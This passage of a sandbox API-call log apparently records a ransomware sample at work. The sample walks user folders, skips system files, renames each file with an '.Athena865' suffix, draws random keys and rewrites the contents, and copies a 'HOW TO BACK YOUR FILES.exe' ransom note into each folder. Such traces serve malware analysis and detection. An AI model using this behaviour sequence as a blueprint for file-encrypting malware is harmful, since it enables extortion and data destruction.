Settings\\Default\\Links\\Desktop.lnk.Athena865") returned 61 [0053.718] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Links\\Desktop.lnk" (normalized: "c:\\documents and settings\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\Desktop.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\desktop.lnk.athena865"), dwFlags=0x1) returned 1 [0053.719] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Links\\Desktop.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\desktop.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.719] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=467) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.720] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.720] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.721] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x154 [0053.723] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x100000 [0053.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.724] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.724] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.725] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.725] CloseHandle (hObject=0x154) returned 1 [0053.725] CloseHandle (hObject=0x17c) returned 1 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.725] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0053.725] lstrcmpiW (lpString1="Downloads.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.725] lstrcmpiW (lpString1="Downloads.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.725] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="windows") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="bootmgr") returned 1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="temp") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="pagefile.sys") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="boot") returned 1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ids.txt") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ntuser.dat") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="perflogs") returned -1 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2="MSBuild") returned -1 [0053.726] lstrlenW (lpString="Downloads.lnk") returned 13 [0053.726] lstrcpyW (in: lpString1=0x241e898, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk" [0053.726] lstrlenW (lpString="Downloads.lnk") returned 13 [0053.726] lstrlenW (lpString="Athena865") returned 9 [0053.726] lstrcmpiW (lpString1="loads.lnk", lpString2="Athena865") returned 1 [0053.726] lstrlenW (lpString=".dll") returned 4 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".dll") returned 1 [0053.726] lstrlenW (lpString=".lnk") returned 4 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".lnk") returned 1 [0053.726] lstrlenW (lpString=".ini") returned 4 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".ini") returned 1 [0053.726] lstrlenW (lpString=".sys") returned 4 [0053.726] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".sys") returned 1 [0053.726] lstrlenW (lpString="Downloads.lnk") returned 13 [0053.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Links\\Downloads.lnk.Athena865") returned 63 [0053.726] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Links\\Downloads.lnk" (normalized: "c:\\documents and settings\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\Downloads.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\downloads.lnk.athena865"), dwFlags=0x1) returned 1 [0053.727] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Links\\Downloads.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\downloads.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.727] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=894) returned 1 [0053.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.728] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.728] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.728] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x680, lpName=0x0) returned 0x154 [0053.730] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x680) returned 0x100000 [0053.731] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.732] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.732] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.733] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.733] CloseHandle (hObject=0x154) returned 1 [0053.733] CloseHandle (hObject=0x17c) returned 1 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.733] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.733] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.733] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="windows") returned -1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="bootmgr") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="temp") returned -1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="pagefile.sys") returned 1 [0053.733] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="boot") returned 1 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ids.txt") returned 1 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ntuser.dat") returned 1 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="perflogs") returned 1 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="MSBuild") returned 1 [0053.734] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0053.734] lstrcpyW (in: lpString1=0x241e898, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk" [0053.734] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0053.734] lstrlenW (lpString="Athena865") returned 9 [0053.734] lstrcmpiW (lpString1="laces.lnk", lpString2="Athena865") returned 1 [0053.734] lstrlenW (lpString=".dll") returned 4 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".dll") returned 1 [0053.734] lstrlenW (lpString=".lnk") returned 4 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".lnk") returned 1 [0053.734] lstrlenW (lpString=".ini") returned 4 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".ini") returned 1 [0053.734] lstrlenW (lpString=".sys") returned 4 [0053.734] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".sys") returned 1 [0053.734] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0053.734] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Links\\RecentPlaces.lnk.Athena865") returned 66 [0053.734] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\documents and settings\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\RecentPlaces.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\recentplaces.lnk.athena865"), dwFlags=0x1) returned 1 [0053.735] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Links\\RecentPlaces.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\links\\recentplaces.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.735] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=363) returned 1 [0053.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0053.736] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519a20) returned 1 [0053.737] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.737] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.737] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0053.739] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0053.739] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519a20) returned 1 [0053.740] CryptGenRandom (in: hProv=0x519a20, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.740] CryptReleaseContext (hProv=0x519a20, dwFlags=0x0) returned 1 [0053.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.741] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.741] CloseHandle (hObject=0x154) returned 1 [0053.741] CloseHandle (hObject=0x17c) returned 1 [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0053.741] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.741] ReleaseMutex (hMutex=0xec) returned 1 [0053.741] CloseHandle (hObject=0xec) returned 1 [0053.741] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Local Settings" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings") returned="C:\\Documents and Settings\\Default\\Local Settings" [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cb48 | out: hHeap=0x4f0000) returned 1 [0053.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7e8 | out: hHeap=0x4f0000) returned 1 [0053.741] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Local Settings") returned 48 [0053.741] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\69CBB69A517393FE066263EF8098E4E7") returned 0xec [0053.741] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.741] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Local Settings" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings") returned="C:\\Documents and Settings\\Default\\Local Settings" [0053.742] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.742] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.742] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.742] GetLastError () returned 0x0 [0053.742] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.742] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.743] CloseHandle (hObject=0xf4) returned 1 [0053.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.743] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.743] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.743] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.744] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.744] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.744] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.744] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.744] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.744] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.744] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.744] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0053.744] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0053.744] lstrlenW (lpString="Application Data") returned 16 [0053.744] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0053.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7e8 [0053.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x513ca8 [0053.744] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0053.745] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0053.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.745] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2=".") returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2="..") returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2="windows") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2="temp") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="boot") returned 1 [0053.745] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1 [0053.745] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1 [0053.745] lstrlenW (lpString="History") 